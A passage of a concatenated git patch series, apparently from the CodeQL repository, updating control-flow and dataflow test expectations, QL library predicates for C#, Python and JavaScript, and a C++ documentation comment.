postDominance | ExitMethods.cs:136:9:136:25 | this access | ExitMethods.cs:136:9:136:26 | ...; | | ExitMethods.cs:136:9:136:26 | ...; | ExitMethods.cs:135:5:138:5 | {...} | | ExitMethods.cs:136:21:136:24 | true | ExitMethods.cs:136:9:136:25 | this access | -| ExitMethods.cs:140:17:140:42 | exit ExceptionDispatchInfoThrow | ExitMethods.cs:140:17:140:42 | exit ExceptionDispatchInfoThrow (normal) | -| ExitMethods.cs:140:17:140:42 | exit ExceptionDispatchInfoThrow (normal) | ExitMethods.cs:146:9:146:33 | call to method WriteLine | +| ExitMethods.cs:140:17:140:42 | exit ExceptionDispatchInfoThrow | ExitMethods.cs:140:17:140:42 | exit ExceptionDispatchInfoThrow (abnormal) | | ExitMethods.cs:141:5:147:5 | {...} | ExitMethods.cs:140:17:140:42 | enter ExceptionDispatchInfoThrow | | ExitMethods.cs:142:9:145:53 | if (...) ... | ExitMethods.cs:141:5:147:5 | {...} | | ExitMethods.cs:142:13:142:13 | access to parameter b | ExitMethods.cs:142:9:145:53 | if (...) ... | @@ -5747,10 +5743,6 @@ postDominance | ExitMethods.cs:145:13:145:44 | call to method Capture | ExitMethods.cs:145:43:145:43 | access to parameter e | | ExitMethods.cs:145:13:145:52 | call to method Throw | ExitMethods.cs:145:13:145:44 | call to method Capture | | ExitMethods.cs:145:43:145:43 | access to parameter e | ExitMethods.cs:145:13:145:53 | ...; | -| ExitMethods.cs:146:9:146:33 | call to method WriteLine | ExitMethods.cs:146:27:146:32 | "dead" | -| ExitMethods.cs:146:9:146:34 | ...; | ExitMethods.cs:143:13:143:42 | call to method Throw | -| ExitMethods.cs:146:9:146:34 | ...; | ExitMethods.cs:145:13:145:52 | call to method Throw | -| ExitMethods.cs:146:27:146:32 | "dead" | ExitMethods.cs:146:9:146:34 | ...; | | Extensions.cs:5:23:5:29 | exit ToInt32 | Extensions.cs:5:23:5:29 | exit ToInt32 (normal) | | Extensions.cs:5:23:5:29 | exit ToInt32 (normal) | Extensions.cs:7:9:7:30 | return ...; | | Extensions.cs:6:5:8:5 | {...} | Extensions.cs:5:23:5:29 | enter ToInt32 | @@ -9990,12 +9982,12 @@ blockDominance | ExitMethods.cs:134:17:134:33 | enter FailingAssertion3 | ExitMethods.cs:136:9:136:25 | [assertion failure] call to method AssertFalse | | ExitMethods.cs:136:9:136:25 | [assertion failure] call to method AssertFalse | ExitMethods.cs:136:9:136:25 | [assertion failure] call to method AssertFalse | | ExitMethods.cs:140:17:140:42 | enter ExceptionDispatchInfoThrow | ExitMethods.cs:140:17:140:42 | enter ExceptionDispatchInfoThrow | +| ExitMethods.cs:140:17:140:42 | enter ExceptionDispatchInfoThrow | ExitMethods.cs:140:17:140:42 | exit ExceptionDispatchInfoThrow (abnormal) | | ExitMethods.cs:140:17:140:42 | enter ExceptionDispatchInfoThrow | ExitMethods.cs:143:13:143:43 | ...; | | ExitMethods.cs:140:17:140:42 | enter ExceptionDispatchInfoThrow | ExitMethods.cs:145:13:145:53 | ...; | -| ExitMethods.cs:140:17:140:42 | enter ExceptionDispatchInfoThrow | ExitMethods.cs:146:9:146:34 | ...; | +| ExitMethods.cs:140:17:140:42 | exit ExceptionDispatchInfoThrow (abnormal) | ExitMethods.cs:140:17:140:42 | exit ExceptionDispatchInfoThrow (abnormal) | | ExitMethods.cs:143:13:143:43 | ...; | ExitMethods.cs:143:13:143:43 | ...; | | ExitMethods.cs:145:13:145:53 | ...; | ExitMethods.cs:145:13:145:53 | ...; | -| ExitMethods.cs:146:9:146:34 | ...; | ExitMethods.cs:146:9:146:34 | ...; | | Extensions.cs:5:23:5:29 | enter ToInt32 | Extensions.cs:5:23:5:29 | enter ToInt32 | | Extensions.cs:10:24:10:29 | enter ToBool | Extensions.cs:10:24:10:29 | enter ToBool | | Extensions.cs:15:23:15:33 | enter CallToInt32 | Extensions.cs:15:23:15:33 | enter CallToInt32 | @@ -13910,12 +13902,9 @@ postBlockDominance | ExitMethods.cs:134:17:134:33 | enter FailingAssertion3 | ExitMethods.cs:134:17:134:33 | enter FailingAssertion3 | | ExitMethods.cs:136:9:136:25 | [assertion failure] call to method AssertFalse | ExitMethods.cs:136:9:136:25 | [assertion failure] call to method AssertFalse | | ExitMethods.cs:140:17:140:42 | enter ExceptionDispatchInfoThrow | ExitMethods.cs:140:17:140:42 | enter ExceptionDispatchInfoThrow | +| ExitMethods.cs:140:17:140:42 | exit ExceptionDispatchInfoThrow (abnormal) | ExitMethods.cs:140:17:140:42 | exit ExceptionDispatchInfoThrow (abnormal) | | ExitMethods.cs:143:13:143:43 | ...; | ExitMethods.cs:143:13:143:43 | ...; | | ExitMethods.cs:145:13:145:53 | ...; | ExitMethods.cs:145:13:145:53 | ...; | -| ExitMethods.cs:146:9:146:34 | ...; | ExitMethods.cs:140:17:140:42 | enter ExceptionDispatchInfoThrow | -| ExitMethods.cs:146:9:146:34 | ...; | ExitMethods.cs:143:13:143:43 | ...; | -| ExitMethods.cs:146:9:146:34 | ...; | ExitMethods.cs:145:13:145:53 | ...; | -| ExitMethods.cs:146:9:146:34 | ...; | ExitMethods.cs:146:9:146:34 | ...; | | Extensions.cs:5:23:5:29 | enter ToInt32 | Extensions.cs:5:23:5:29 | enter ToInt32 | | Extensions.cs:10:24:10:29 | enter ToBool | Extensions.cs:10:24:10:29 | enter ToBool | | Extensions.cs:15:23:15:33 | enter CallToInt32 | Extensions.cs:15:23:15:33 | enter CallToInt32 | diff --git a/csharp/ql/test/library-tests/controlflow/graph/EnclosingCallable.expected b/csharp/ql/test/library-tests/controlflow/graph/EnclosingCallable.expected index 8050b8ced38..37447be7a6b 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/EnclosingCallable.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/EnclosingCallable.expected @@ -1781,7 +1781,7 @@ nodeEnclosing | ExitMethods.cs:136:21:136:24 | true | ExitMethods.cs:134:17:134:33 | FailingAssertion3 | | ExitMethods.cs:140:17:140:42 | enter ExceptionDispatchInfoThrow | ExitMethods.cs:140:17:140:42 | ExceptionDispatchInfoThrow | | ExitMethods.cs:140:17:140:42 | exit ExceptionDispatchInfoThrow | ExitMethods.cs:140:17:140:42 | ExceptionDispatchInfoThrow | -| ExitMethods.cs:140:17:140:42 | exit ExceptionDispatchInfoThrow (normal) | ExitMethods.cs:140:17:140:42 | ExceptionDispatchInfoThrow | +| ExitMethods.cs:140:17:140:42 | exit ExceptionDispatchInfoThrow (abnormal) | ExitMethods.cs:140:17:140:42 | ExceptionDispatchInfoThrow | | ExitMethods.cs:141:5:147:5 | {...} | ExitMethods.cs:140:17:140:42 | ExceptionDispatchInfoThrow | | ExitMethods.cs:142:9:145:53 | if (...) ... | ExitMethods.cs:140:17:140:42 | ExceptionDispatchInfoThrow | | ExitMethods.cs:142:13:142:13 | access to parameter b | ExitMethods.cs:140:17:140:42 | ExceptionDispatchInfoThrow | @@ -1792,9 +1792,6 @@ nodeEnclosing | ExitMethods.cs:145:13:145:52 | call to method Throw | ExitMethods.cs:140:17:140:42 | ExceptionDispatchInfoThrow | | ExitMethods.cs:145:13:145:53 | ...; | ExitMethods.cs:140:17:140:42 | ExceptionDispatchInfoThrow | | ExitMethods.cs:145:43:145:43 | access to parameter e | ExitMethods.cs:140:17:140:42 | ExceptionDispatchInfoThrow | -| ExitMethods.cs:146:9:146:33 | call to method WriteLine | ExitMethods.cs:140:17:140:42 | ExceptionDispatchInfoThrow | -| ExitMethods.cs:146:9:146:34 | ...; | ExitMethods.cs:140:17:140:42 | ExceptionDispatchInfoThrow | -| ExitMethods.cs:146:27:146:32 | "dead" | ExitMethods.cs:140:17:140:42 | ExceptionDispatchInfoThrow | | Extensions.cs:5:23:5:29 | enter ToInt32 | Extensions.cs:5:23:5:29 | ToInt32 | | Extensions.cs:5:23:5:29 | exit ToInt32 | Extensions.cs:5:23:5:29 | ToInt32 | | Extensions.cs:5:23:5:29 | exit ToInt32 (normal) | Extensions.cs:5:23:5:29 | ToInt32 | @@ -5130,9 +5127,9 @@ blockEnclosing | ExitMethods.cs:134:17:134:33 | enter FailingAssertion3 | ExitMethods.cs:134:17:134:33 | FailingAssertion3 | | ExitMethods.cs:136:9:136:25 | [assertion failure] call to method AssertFalse | ExitMethods.cs:134:17:134:33 | FailingAssertion3 | | ExitMethods.cs:140:17:140:42 | enter ExceptionDispatchInfoThrow | ExitMethods.cs:140:17:140:42 | ExceptionDispatchInfoThrow | +| ExitMethods.cs:140:17:140:42 | exit ExceptionDispatchInfoThrow (abnormal) | ExitMethods.cs:140:17:140:42 | ExceptionDispatchInfoThrow | | ExitMethods.cs:143:13:143:43 | ...; | ExitMethods.cs:140:17:140:42 | ExceptionDispatchInfoThrow | | ExitMethods.cs:145:13:145:53 | ...; | ExitMethods.cs:140:17:140:42 | ExceptionDispatchInfoThrow | -| ExitMethods.cs:146:9:146:34 | ...; | ExitMethods.cs:140:17:140:42 | ExceptionDispatchInfoThrow | | Extensions.cs:5:23:5:29 | enter ToInt32 | Extensions.cs:5:23:5:29 | ToInt32 | | Extensions.cs:10:24:10:29 | enter ToBool | Extensions.cs:10:24:10:29 | ToBool | | Extensions.cs:15:23:15:33 | enter CallToInt32 | Extensions.cs:15:23:15:33 | CallToInt32 | diff --git a/csharp/ql/test/library-tests/controlflow/graph/ExitElement.expected b/csharp/ql/test/library-tests/controlflow/graph/ExitElement.expected index 6e19712c22b..8cd996801d7 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/ExitElement.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/ExitElement.expected @@ -1599,17 +1599,19 @@ | ExitMethods.cs:137:9:137:18 | ... ...; | ExitMethods.cs:137:13:137:17 | Int32 x = ... | normal | | ExitMethods.cs:137:13:137:17 | Int32 x = ... | ExitMethods.cs:137:13:137:17 | Int32 x = ... | normal | | ExitMethods.cs:137:17:137:17 | 0 | ExitMethods.cs:137:17:137:17 | 0 | normal | +| ExitMethods.cs:141:5:147:5 | {...} | ExitMethods.cs:143:13:143:42 | call to method Throw | throw(ArgumentException) | +| ExitMethods.cs:141:5:147:5 | {...} | ExitMethods.cs:145:13:145:52 | call to method Throw | throw(Exception) | | ExitMethods.cs:141:5:147:5 | {...} | ExitMethods.cs:146:9:146:33 | call to method WriteLine | normal | -| ExitMethods.cs:142:9:145:53 | if (...) ... | ExitMethods.cs:143:13:143:42 | call to method Throw | normal | -| ExitMethods.cs:142:9:145:53 | if (...) ... | ExitMethods.cs:145:13:145:52 | call to method Throw | normal | +| ExitMethods.cs:142:9:145:53 | if (...) ... | ExitMethods.cs:143:13:143:42 | call to method Throw | throw(ArgumentException) | +| ExitMethods.cs:142:9:145:53 | if (...) ... | ExitMethods.cs:145:13:145:52 | call to method Throw | throw(Exception) | | ExitMethods.cs:142:13:142:13 | access to parameter b | ExitMethods.cs:142:13:142:13 | access to parameter b | false | | ExitMethods.cs:142:13:142:13 | access to parameter b | ExitMethods.cs:142:13:142:13 | access to parameter b | true | -| ExitMethods.cs:143:13:143:42 | call to method Throw | ExitMethods.cs:143:13:143:42 | call to method Throw | normal | -| ExitMethods.cs:143:13:143:43 | ...; | ExitMethods.cs:143:13:143:42 | call to method Throw | normal | +| ExitMethods.cs:143:13:143:42 | call to method Throw | ExitMethods.cs:143:13:143:42 | call to method Throw | throw(ArgumentException) | +| ExitMethods.cs:143:13:143:43 | ...; | ExitMethods.cs:143:13:143:42 | call to method Throw | throw(ArgumentException) | | ExitMethods.cs:143:41:143:41 | access to parameter e | ExitMethods.cs:143:41:143:41 | access to parameter e | normal | | ExitMethods.cs:145:13:145:44 | call to method Capture | ExitMethods.cs:145:13:145:44 | call to method Capture | normal | -| ExitMethods.cs:145:13:145:52 | call to method Throw | ExitMethods.cs:145:13:145:52 | call to method Throw | normal | -| ExitMethods.cs:145:13:145:53 | ...; | ExitMethods.cs:145:13:145:52 | call to method Throw | normal | +| ExitMethods.cs:145:13:145:52 | call to method Throw | ExitMethods.cs:145:13:145:52 | call to method Throw | throw(Exception) | +| ExitMethods.cs:145:13:145:53 | ...; | ExitMethods.cs:145:13:145:52 | call to method Throw | throw(Exception) | | ExitMethods.cs:145:43:145:43 | access to parameter e | ExitMethods.cs:145:43:145:43 | access to parameter e | normal | | ExitMethods.cs:146:9:146:33 | call to method WriteLine | ExitMethods.cs:146:9:146:33 | call to method WriteLine | normal | | ExitMethods.cs:146:9:146:34 | ...; | ExitMethods.cs:146:9:146:33 | call to method WriteLine | normal | diff --git a/csharp/ql/test/library-tests/controlflow/graph/NodeGraph.expected b/csharp/ql/test/library-tests/controlflow/graph/NodeGraph.expected index 15149f7a20e..bc95c468f4c 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/NodeGraph.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/NodeGraph.expected @@ -1814,21 +1814,18 @@ | ExitMethods.cs:136:9:136:26 | ...; | ExitMethods.cs:136:9:136:25 | this access | semmle.label | successor | | ExitMethods.cs:136:21:136:24 | true | ExitMethods.cs:136:9:136:25 | [assertion failure] call to method AssertFalse | semmle.label | true | | ExitMethods.cs:140:17:140:42 | enter ExceptionDispatchInfoThrow | ExitMethods.cs:141:5:147:5 | {...} | semmle.label | successor | -| ExitMethods.cs:140:17:140:42 | exit ExceptionDispatchInfoThrow (normal) | ExitMethods.cs:140:17:140:42 | exit ExceptionDispatchInfoThrow | semmle.label | successor | +| ExitMethods.cs:140:17:140:42 | exit ExceptionDispatchInfoThrow (abnormal) | ExitMethods.cs:140:17:140:42 | exit ExceptionDispatchInfoThrow | semmle.label | successor | | ExitMethods.cs:141:5:147:5 | {...} | ExitMethods.cs:142:9:145:53 | if (...) ... | semmle.label | successor | | ExitMethods.cs:142:9:145:53 | if (...) ... | ExitMethods.cs:142:13:142:13 | access to parameter b | semmle.label | successor | | ExitMethods.cs:142:13:142:13 | access to parameter b | ExitMethods.cs:143:13:143:43 | ...; | semmle.label | true | | ExitMethods.cs:142:13:142:13 | access to parameter b | ExitMethods.cs:145:13:145:53 | ...; | semmle.label | false | -| ExitMethods.cs:143:13:143:42 | call to method Throw | ExitMethods.cs:146:9:146:34 | ...; | semmle.label | successor | +| ExitMethods.cs:143:13:143:42 | call to method Throw | ExitMethods.cs:140:17:140:42 | exit ExceptionDispatchInfoThrow (abnormal) | semmle.label | exception(ArgumentException) | | ExitMethods.cs:143:13:143:43 | ...; | ExitMethods.cs:143:41:143:41 | access to parameter e | semmle.label | successor | | ExitMethods.cs:143:41:143:41 | access to parameter e | ExitMethods.cs:143:13:143:42 | call to method Throw | semmle.label | successor | | ExitMethods.cs:145:13:145:44 | call to method Capture | ExitMethods.cs:145:13:145:52 | call to method Throw | semmle.label | successor | -| ExitMethods.cs:145:13:145:52 | call to method Throw | ExitMethods.cs:146:9:146:34 | ...; | semmle.label | successor | +| ExitMethods.cs:145:13:145:52 | call to method Throw | ExitMethods.cs:140:17:140:42 | exit ExceptionDispatchInfoThrow (abnormal) | semmle.label | exception(Exception) | | ExitMethods.cs:145:13:145:53 | ...; | ExitMethods.cs:145:43:145:43 | access to parameter e | semmle.label | successor | | ExitMethods.cs:145:43:145:43 | access to parameter e | ExitMethods.cs:145:13:145:44 | call to method Capture | semmle.label | successor | -| ExitMethods.cs:146:9:146:33 | call to method WriteLine | ExitMethods.cs:140:17:140:42 | exit ExceptionDispatchInfoThrow (normal) | semmle.label | successor | -| ExitMethods.cs:146:9:146:34 | ...; | ExitMethods.cs:146:27:146:32 | "dead" | semmle.label | successor | -| ExitMethods.cs:146:27:146:32 | "dead" | ExitMethods.cs:146:9:146:33 | call to method WriteLine | semmle.label | successor | | Extensions.cs:5:23:5:29 | enter ToInt32 | Extensions.cs:6:5:8:5 | {...} | semmle.label | successor | | Extensions.cs:5:23:5:29 | exit ToInt32 (normal) | Extensions.cs:5:23:5:29 | exit ToInt32 | semmle.label | successor | | Extensions.cs:6:5:8:5 | {...} | Extensions.cs:7:28:7:28 | access to parameter s | semmle.label | successor | From dacc21d0b52e9337e4522e278226b411cab61035 Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen <yoff@github.com> Date: Tue, 26 Jan 2021 09:45:41 +0100 Subject: [PATCH 0816/1241] Python: update test expectation --- python/ql/test/experimental/dataflow/coverage/localFlow.expected | 1 - 1 file changed, 1 deletion(-) diff --git a/python/ql/test/experimental/dataflow/coverage/localFlow.expected b/python/ql/test/experimental/dataflow/coverage/localFlow.expected index 30b25979df3..f604e3d7b18 100644 --- a/python/ql/test/experimental/dataflow/coverage/localFlow.expected +++ b/python/ql/test/experimental/dataflow/coverage/localFlow.expected @@ -8,7 +8,6 @@ | test.py:187:1:187:53 | GSSA Variable SINK | test.py:189:5:189:8 | ControlFlowNode for SINK | | test.py:187:1:187:53 | GSSA Variable SOURCE | test.py:188:25:188:30 | ControlFlowNode for SOURCE | | test.py:188:5:188:5 | SSA variable x | test.py:189:10:189:10 | ControlFlowNode for x | -| test.py:188:9:188:68 | ControlFlowNode for .0 | test.py:188:9:188:68 | SSA variable .0 | | test.py:188:9:188:68 | ControlFlowNode for ListComp | test.py:188:5:188:5 | SSA variable x | | test.py:188:9:188:68 | SSA variable .0 | test.py:188:9:188:68 | ControlFlowNode for .0 | | test.py:188:16:188:16 | SSA variable v | test.py:188:45:188:45 | ControlFlowNode for v | From 7b9ca7171a82b39a58be2a00269297cf61787f14 Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen <yoff@github.com> Date: Tue, 26 Jan 2021 09:47:48 +0100 Subject: [PATCH 0817/1241] Python: update test expectations --- python/ql/test/experimental/dataflow/coverage/localFlow.expected | 1 + 1 file changed, 1 insertion(+) diff --git a/python/ql/test/experimental/dataflow/coverage/localFlow.expected b/python/ql/test/experimental/dataflow/coverage/localFlow.expected index f604e3d7b18..30b25979df3 100644 --- a/python/ql/test/experimental/dataflow/coverage/localFlow.expected +++ b/python/ql/test/experimental/dataflow/coverage/localFlow.expected @@ -8,6 +8,7 @@ | test.py:187:1:187:53 | GSSA Variable SINK | test.py:189:5:189:8 | ControlFlowNode for SINK | | test.py:187:1:187:53 | GSSA Variable SOURCE | test.py:188:25:188:30 | ControlFlowNode for SOURCE | | test.py:188:5:188:5 | SSA variable x | test.py:189:10:189:10 | ControlFlowNode for x | +| test.py:188:9:188:68 | ControlFlowNode for .0 | test.py:188:9:188:68 | SSA variable .0 | | test.py:188:9:188:68 | ControlFlowNode for ListComp | test.py:188:5:188:5 | SSA variable x | | test.py:188:9:188:68 | SSA variable .0 | test.py:188:9:188:68 | ControlFlowNode for .0 | | test.py:188:16:188:16 | SSA variable v | test.py:188:45:188:45 | ControlFlowNode for v | From 71d25c1f8b0b41bae6fcb0581751645690e23d81 Mon Sep 17 00:00:00 2001 From: Tom Hvitved <hvitved@github.com> Date: Tue, 26 Jan 2021 09:58:01 +0100 Subject: [PATCH 0818/1241] C#: Fix join-orders in `ControlFlowTree::last()` --- .../internal/ControlFlowGraphImpl.qll | 24 +++++++++++++------ 1 file changed, 17 insertions(+), 7 deletions(-) diff --git a/csharp/ql/src/semmle/code/csharp/controlflow/internal/ControlFlowGraphImpl.qll b/csharp/ql/src/semmle/code/csharp/controlflow/internal/ControlFlowGraphImpl.qll index ebe4654d70c..fe898cb509b 100644 --- a/csharp/ql/src/semmle/code/csharp/controlflow/internal/ControlFlowGraphImpl.qll +++ b/csharp/ql/src/semmle/code/csharp/controlflow/internal/ControlFlowGraphImpl.qll @@ -804,6 +804,12 @@ module Expressions { private class SwitchCaseExprTree extends PostOrderTree, CaseTree, SwitchCaseExpr { final override predicate first(ControlFlowElement first) { first(this.getPattern(), first) } + pragma[noinline] + private predicate lastNoMatch(ControlFlowElement last, ConditionalCompletion cc) { + last([this.getPattern(), this.getCondition()], last, cc) and + (cc.(MatchingCompletion).isNonMatch() or cc instanceof FalseCompletion) + } + final override predicate last(ControlFlowElement last, Completion c) { PostOrderTree.super.last(last, c) or @@ -812,8 +818,7 @@ module Expressions { this = se.getCase(i) and not this.matchesAll() and not exists(se.getCase(i + 1)) and - last([this.getPattern(), this.getCondition()], last, cc) and - (cc.(MatchingCompletion).isNonMatch() or cc instanceof FalseCompletion) and + this.lastNoMatch(last, cc) and c = any(NestedCompletion nc | nc.getNestLevel() = 0 and @@ -1372,11 +1377,16 @@ module Statements { or // If the `finally` block completes normally, it inherits any non-normal // completion that was current before the `finally` block was entered - c = - any(NestedCompletion nc | - this.lastFinally(last, nc.getAnInnerCompatibleCompletion(), nc.getOuterCompletion(), - nc.getNestLevel()) - ) + exists(int nestLevel | + c = + any(NestedCompletion nc | + this.lastFinally(last, nc.getAnInnerCompatibleCompletion(), nc.getOuterCompletion(), + nestLevel) and + // unbind + nc.getNestLevel() >= nestLevel and + nc.getNestLevel() <= nestLevel + ) + ) } /** From 89225e222ce9e374be9232498c55f1e9ca0dabdc Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Tue, 26 Jan 2021 09:25:12 +0000 Subject: [PATCH 0819/1241] JS: Remove confusing comment --- javascript/ql/src/semmle/javascript/frameworks/Angular2.qll | 1 - 1 file changed, 1 deletion(-) diff --git a/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll b/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll index 976a2e7a472..1905bf1795b 100644 --- a/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll +++ b/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll @@ -516,7 +516,6 @@ module Angular2 { i = 1 and name = "date" // date format string ) or - // Arguments to translate are assumed to be included in the result somewhere name = "translate" and succ = this and pred = [getArgument(1), getOptionArgument(1, _)] From d59ccb7687cb74d634f3ce884da287f02cffcdbe Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Tue, 26 Jan 2021 09:27:48 +0000 Subject: [PATCH 0820/1241] JS: Remove unhelpful mat-table load step --- .../ql/src/semmle/javascript/frameworks/Angular2.qll | 11 ----------- 1 file changed, 11 deletions(-) diff --git a/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll b/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll index 1905bf1795b..1aaf5a7af77 100644 --- a/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll +++ b/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll @@ -578,17 +578,6 @@ module Angular2 { } } - /** Like `MatTableTaintStep` but as a value-preserving load step. */ - private class MatTableLoadStep extends PreCallGraphStep { - override predicate loadStep(DataFlow::Node pred, DataFlow::Node succ, string prop) { - exists(MatTableElement table | - pred = table.getDataSourceNode() and - succ = table.getARowRef() and - prop = DataFlow::PseudoProperties::arrayElement() - ) - } - } - /** A taint step into the data array of a `MatTableDataSource` instance. */ private class MatTableDataSourceStep extends TaintTracking::AdditionalTaintStep, DataFlow::NewNode { MatTableDataSourceStep() { From e6d9cd19059accd0baf3e1f64f2cf84b6b21ece1 Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Tue, 26 Jan 2021 10:14:12 +0000 Subject: [PATCH 0821/1241] JS: Add clause to getReturn/getInstance --- javascript/ql/src/semmle/javascript/ApiGraphs.qll | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/javascript/ql/src/semmle/javascript/ApiGraphs.qll b/javascript/ql/src/semmle/javascript/ApiGraphs.qll index 6c9faff38e8..e33e8e2fe5e 100644 --- a/javascript/ql/src/semmle/javascript/ApiGraphs.qll +++ b/javascript/ql/src/semmle/javascript/ApiGraphs.qll @@ -840,10 +840,16 @@ module API { Node getLastParameter() { result = getParameter(getNumArgument() - 1) } /** Gets the API node for the return value of this call. */ - Node getReturn() { result.getAnImmediateUse() = this } + Node getReturn() { + result = callee.getReturn() and + result.getAnImmediateUse() = this + } /** Gets the API node for the object constructed by this invocation. */ - Node getInstance() { result.getAnImmediateUse() = this } + Node getInstance() { + result = callee.getInstance() and + result.getAnImmediateUse() = this + } } /** A call connected to the API graph. */ From 2c58643fd1786d2af8a145acb4b57ac24b8e3304 Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen <yoff@github.com> Date: Tue, 26 Jan 2021 11:28:31 +0100 Subject: [PATCH 0822/1241] Python: Test for parameters without nodes. --- .../dataflow/consistency/modeling-consistency.expected | 1 + .../dataflow/consistency/modeling-consistency.ql | 7 +++++++ 2 files changed, 8 insertions(+) create mode 100644 python/ql/test/experimental/dataflow/consistency/modeling-consistency.expected create mode 100644 python/ql/test/experimental/dataflow/consistency/modeling-consistency.ql diff --git a/python/ql/test/experimental/dataflow/consistency/modeling-consistency.expected b/python/ql/test/experimental/dataflow/consistency/modeling-consistency.expected new file mode 100644 index 00000000000..2cbecf5ba66 --- /dev/null +++ b/python/ql/test/experimental/dataflow/consistency/modeling-consistency.expected @@ -0,0 +1 @@ +| test.py:239:27:239:27 | Parameter | There is no `ParameterNode` associated with this parameter. | diff --git a/python/ql/test/experimental/dataflow/consistency/modeling-consistency.ql b/python/ql/test/experimental/dataflow/consistency/modeling-consistency.ql new file mode 100644 index 00000000000..a0dde59bedb --- /dev/null +++ b/python/ql/test/experimental/dataflow/consistency/modeling-consistency.ql @@ -0,0 +1,7 @@ +import python +import semmle.python.dataflow.new.DataFlow + +query predicate parameterWithoutNode(Parameter p, string msg) { + not exists(DataFlow::ParameterNode node | p = node.getParameter()) and + msg = "There is no `ParameterNode` associated with this parameter." +} From e44f1813fab7c1d196f7504c33b5d59f5837cd07 Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen <yoff@github.com> Date: Tue, 26 Jan 2021 11:29:14 +0100 Subject: [PATCH 0823/1241] Python: Add TODO comment --- .../src/semmle/python/dataflow/new/internal/DataFlowPublic.qll | 1 + 1 file changed, 1 insertion(+) diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll index d28eb856e19..4a3c7722c3e 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll @@ -182,6 +182,7 @@ class ParameterNode extends CfgNode { ParameterNode() { node = def.getDefiningNode() and // Disregard parameters that we cannot resolve + // TODO: Make this unnecessary exists(DataFlowCallable c | node = c.getParameter(_)) } From e25385599911450e920f2097d34a34d77be72e18 Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen <yoff@github.com> Date: Tue, 26 Jan 2021 12:11:21 +0100 Subject: [PATCH 0824/1241] Python: Add comment about reverse reads. --- .../python/dataflow/new/internal/DataFlowPrivate.qll | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll index 3dd31f4b97a..16e42e4d871 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll @@ -69,7 +69,17 @@ class StorePreUpdateNode extends NeedsSyntheticPostUpdateNode, CfgNode { override string label() { result = "store" } } -/** A node marking the state change of an object after a read. */ +/** + * A node marking the state change of an object after a read. + * + * A reverse read happens when the result of a read is modified, e.g. in + * ```python + * l = [ mutable ] + * l[0].mutate() + * ``` + * we may now have changed the content of `l`. To track this, there must be + * a postupdate node for `l`. + */ class ReadPreUpdateNode extends NeedsSyntheticPostUpdateNode, CfgNode { ReadPreUpdateNode() { exists(Attribute a | From 932ee968e0dd30472c5cafb109daafe543303120 Mon Sep 17 00:00:00 2001 From: Remco Vermeulen <rvermeulen@users.noreply.github.com> Date: Tue, 26 Jan 2021 13:08:28 +0100 Subject: [PATCH 0825/1241] Correct pointer to data member example The class `PointerToMemberType` is preceded by an example that doesn't define the variable `c` used to access a data member. --- cpp/ql/src/semmle/code/cpp/Type.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cpp/ql/src/semmle/code/cpp/Type.qll b/cpp/ql/src/semmle/code/cpp/Type.qll index 81b28cca4c9..1426f41ded5 100644 --- a/cpp/ql/src/semmle/code/cpp/Type.qll +++ b/cpp/ql/src/semmle/code/cpp/Type.qll @@ -1546,7 +1546,7 @@ class FunctionPointerIshType extends DerivedType { * ``` * class C { int m; }; * int C::* p = &C::m; // pointer to data member m of class C - * class C *; + * class C c; * int val = c.*p; // access data member * ``` */ From 8c09032d1dcc45a3c0693ee82e4ff124925c79d8 Mon Sep 17 00:00:00 2001 From: Remco Vermeulen <rvermeulen@users.noreply.github.com> Date: Tue, 26 Jan 2021 13:23:43 +0100 Subject: [PATCH 0826/1241] Correct access specifier Co-authored-by: Mathias Vorreiter Pedersen <mathiasvp@github.com> --- cpp/ql/src/semmle/code/cpp/Type.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cpp/ql/src/semmle/code/cpp/Type.qll b/cpp/ql/src/semmle/code/cpp/Type.qll index 1426f41ded5..f19bd6c7746 100644 --- a/cpp/ql/src/semmle/code/cpp/Type.qll +++ b/cpp/ql/src/semmle/code/cpp/Type.qll @@ -1544,7 +1544,7 @@ class FunctionPointerIshType extends DerivedType { /** * A C++ pointer to data member. See 15.5. * ``` - * class C { int m; }; + * class C { public: int m; }; * int C::* p = &C::m; // pointer to data member m of class C * class C c; * int val = c.*p; // access data member From 1834403148a7fb23fe5cd8386f950cdcfb190d57 Mon Sep 17 00:00:00 2001 From: Remco Vermeulen <rvermeulen@users.noreply.github.com> Date: Tue, 26 Jan 2021 14:14:42 +0100 Subject: [PATCH 0827/1241] Replace HTTP entity The code formatting operator correctly translate to HTTP 